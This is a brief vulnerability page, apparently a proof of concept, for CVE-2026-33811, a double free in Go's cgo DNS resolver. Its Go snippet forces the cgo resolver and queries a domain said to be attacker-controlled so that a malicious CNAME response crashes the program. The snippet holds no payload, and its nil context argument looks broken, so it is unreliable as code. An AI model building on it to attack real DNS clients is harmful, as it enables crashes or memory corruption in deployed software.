CVE-2026-33811 Go语言cgo DNS解析器双重释放漏洞

package main import ( "fmt" "net" "os" ) func main() { // Force usage of cgo resolver if available (default behavior on some systems) // The vulnerability triggers when LookupCNAME processes a malicious response. resolver := &net.Resolver{ PreferGo: false, // Use cgo resolver } // Target domain controlled by attacker target := "example.com" fmt.Println("Sending DNS query...") cname, err := resolver.LookupCNAME(nil, target) if err != nil { fmt.Printf("Error (expected or crash): %v\n", err) os.Exit(1) } fmt.Printf("CNAME: %s\n", cname) }